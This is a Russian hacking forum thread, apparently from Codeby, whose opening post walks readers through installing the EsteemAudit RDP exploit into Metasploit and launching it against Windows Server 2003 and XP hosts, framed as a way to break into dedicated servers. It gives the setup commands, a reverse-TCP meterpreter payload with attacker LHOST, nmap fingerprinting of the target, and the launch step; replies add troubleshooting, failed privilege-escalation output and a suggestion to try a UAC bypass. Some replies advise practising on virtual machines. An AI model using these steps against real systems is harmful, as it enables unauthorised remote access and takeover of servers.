Почаще балуй нас плюшками) Правда чистую XP SP3 скрипт не берет.
[ обложка статьи ]
Режим чтения
Приветствую всех, отважился я на такой поступок как по балывать паблик)) (пабликом) по делится с Вами новым приёмом хека дедика, а именно: Windows Server 2003 SP1,SP2 и Windows XP SP0, SP1, SP3
Для начала нам по требуется скачать експлойт и установить его в Metasploit создав специальную для него папку в каталоге метасплойта: (все команды выполняем находясь в данной папке!)
затем копируем руби скрипт в эту же папку командой:
Для работы скрипта по требуются еще и файлы:
копируем все в созданную нами папку:
Запускаем Metasploit и настраиваемся на этот експлойт посмотрев его настройки.
задаем атакуемый RHOST
и нагрузку: set PAYLOAD windows/meterpreter/reverse_tcp
и конечно же наладим обратную связь: set LHOST <свой IP>
и ВАЖНО еще настроить експлойт, задать версию ОС windows для него, предварительно узнав какие версии он поддерживает командой: show TARGETS
а вообще узнать какую ОС мы атакуем можно с помощью сканера NMAP командой:
nmap -sS -sC -sV -O -p3389 <атакуемый_IP>
и, exploit
Удачи!..) и хех, помните мою доброту!))
Для начала нам по требуется скачать експлойт и установить его в Metasploit создав специальную для него папку в каталоге метасплойта: (все команды выполняем находясь в данной папке!)
Код:
mkdir /opt/metasploit-framework/modules/exploits/windows/rdpзатем копируем руби скрипт в эту же папку командой:
Код:
cp esteemaudit.rb /opt/metasploit-framework/modules/exploits/windows/rdp/Для работы скрипта по требуются еще и файлы:
Код:
mkdir /usr/share/esteemauditкопируем все в созданную нами папку:
Код:
cd files
cp * /usr/share/esteemaudit/Запускаем Metasploit и настраиваемся на этот експлойт посмотрев его настройки.
задаем атакуемый RHOST
и нагрузку: set PAYLOAD windows/meterpreter/reverse_tcp
и конечно же наладим обратную связь: set LHOST <свой IP>
и ВАЖНО еще настроить експлойт, задать версию ОС windows для него, предварительно узнав какие версии он поддерживает командой: show TARGETS
а вообще узнать какую ОС мы атакуем можно с помощью сканера NMAP командой:
nmap -sS -sC -sV -O -p3389 <атакуемый_IP>
и, exploit
Удачи!..) и хех, помните мою доброту!))
AI-выжимка
сгенерировано ИИ
Тезисы статьи скоро
Статья читается полностью. Тезисы со ссылками на разделы появятся позже.
Содержание
Codeby Academy
Практика и мастерство
От основ до продвинутого — программы для практиков Codeby.
Перейти к курсу →
Завтра пощупаю в сетке, если работой не завалят...
Покажи хотя бы один пример что тебе удалось взломать один комп?
[doublepost=1503911101,1503909219][/doublepost]всегда вот такая хрень выскакивает при сканировании:
OS details: Actiontec MI424WR-GEN3I WAP, DD-WRT v24-sp2 (Linux 2.4.37), Linux 3.2, Linux 4.4, Microsoft Windows XP SP3, Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012, VMware Player virtual NAT device
и как быть дальше?
[doublepost=1503911101,1503909219][/doublepost]всегда вот такая хрень выскакивает при сканировании:
OS details: Actiontec MI424WR-GEN3I WAP, DD-WRT v24-sp2 (Linux 2.4.37), Linux 3.2, Linux 4.4, Microsoft Windows XP SP3, Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012, VMware Player virtual NAT device
и как быть дальше?
ну давай, я ща тебе про свои подвиги все расскажу!
Вы вообще кто? И почему я тебе еще должен что то доказывать и показывать?
направление я дал дальше можете все изучить исходя из кода доработать, апгрейдить и юзать по полной!) Или Вы хотите что бы Вам зеро\дэй подарил?
Последнее редактирование:
1) Поставить себе на комп вирутальную машину, на нее поставить версии Win от первой Win Xp SP2 до Win 7
2) Пробовать эксплуатировать уязвимость, предварительно подняв и настроив сервер RDP
3) Писать сюда, если что то не получается
На данный момент, когда у Вас еще нет минимальных навыков, лезть с целью похекать чужое крайне необдуманный поступок
Все манипуляции делаю на Kali Linux. Основной машиной стоит win7.
Kali и win xp service pack 3 стоят на виртуальной машине wmvare
скажите может Kali должен быть основной машиной?
Kali и win xp service pack 3 стоят на виртуальной машине wmvare
скажите может Kali должен быть основной машиной?
Очень хорошо, когда Кали или Пэррот или другой дистр для пентеста стоят основной. Это плюс. Но работать можно ис виртуалками. Если там что то не получается, смотрим настройки сети, в первую очередь меняем NAT на сетевой мост в вируталной машине, что бы все ОС были в одной сети полноценной.
Спасибо за статью! Жаль только цели, которые надо протестировать имеют не windows XP,а windows 10. 
да сейчас бы актуально было бы про win 10
они ребятки все патчатся каждый день, я думаю если только ZEROday найти или купить...
Да х.. с ними, естественный отбор никто не отменял.
[doublepost=1503994137,1503993916][/doublepost]
я поражаюсь наглостью и амбициями ньюфагов и так же толерантности администрации к сабжам.
Чеб не офтопить:
Дополню статью видяшечкой по теме для наглядности..
p.s скоро 1 сентемба, почище форум будет, надеюсь...
Последнее редактирование модератором:
Launching Esteemaudit...
We are inside, waiting for meterpreter...
Exploit completed, but no session was created.
Почему может быть так? Все точно по инструкции.
Мб у меня должен быть открыт какой-то нестандартный порт?
Сижу со стационара через роутер, Кали основная
Объект со мной не в локалке
[doublepost=1504121608,1504114715][/doublepost]Предыдущий вопрос снимается... Решением ыло запускать это все не через Armitage, а через обычную консоль
Теперь другая проблема
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
We are inside, waiting for meterpreter...
Exploit completed, but no session was created.
Почему может быть так? Все точно по инструкции.
Мб у меня должен быть открыт какой-то нестандартный порт?
Сижу со стационара через роутер, Кали основная
Объект со мной не в локалке
[doublepost=1504121608,1504114715][/doublepost]Предыдущий вопрос снимается... Решением ыло запускать это все не через Armitage, а через обычную консоль
Теперь другая проблема
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
Теперь другая проблема
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)[/quote]
Попробуй сначала UAC bypass.
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)[/quote]
Попробуй сначала UAC bypass.
Так этот эксплоит для доменной инфраструктуры. Вне домена не получится проэксплуатировать. Пришлось поднять домен в виртуальной машине чтобы проверить.
Ответ авторов на гитхабе :
the most rapid solution to testing the exploit is to virtualize two machine, a windows server edition from 2003 till 2012r2 to do as domain controller and a windows server 2003 or XP to do as Target. The exploit works only on a domain infrastructure, this is because it needs a CA to validate the certificate inside the logon request for smartcard authentication and it will create the callback needed to trigger the exploit. By default every domain controller applies a GPO that will authorize the machine target to log in with RDP smartcard logon.
Ответ авторов на гитхабе :
the most rapid solution to testing the exploit is to virtualize two machine, a windows server edition from 2003 till 2012r2 to do as domain controller and a windows server 2003 or XP to do as Target. The exploit works only on a domain infrastructure, this is because it needs a CA to validate the certificate inside the logon request for smartcard authentication and it will create the callback needed to trigger the exploit. By default every domain controller applies a GPO that will authorize the machine target to log in with RDP smartcard logon.
Дошли руки чтоб поюзать твою инструкцию, и возник вопрос, а разве не не по этому пути нужно создать /rdp - /ust/share/metasploit-framework/modules/exploits/windows/rdp ?
в usr/share ставь, проще через поиск метасплоита потом искать. Видимо у автора рабочая папка metasploit в /opt/
Продолжить чтение
Следующий разбор
Песочница, в которой прятался враг
Комментарии
51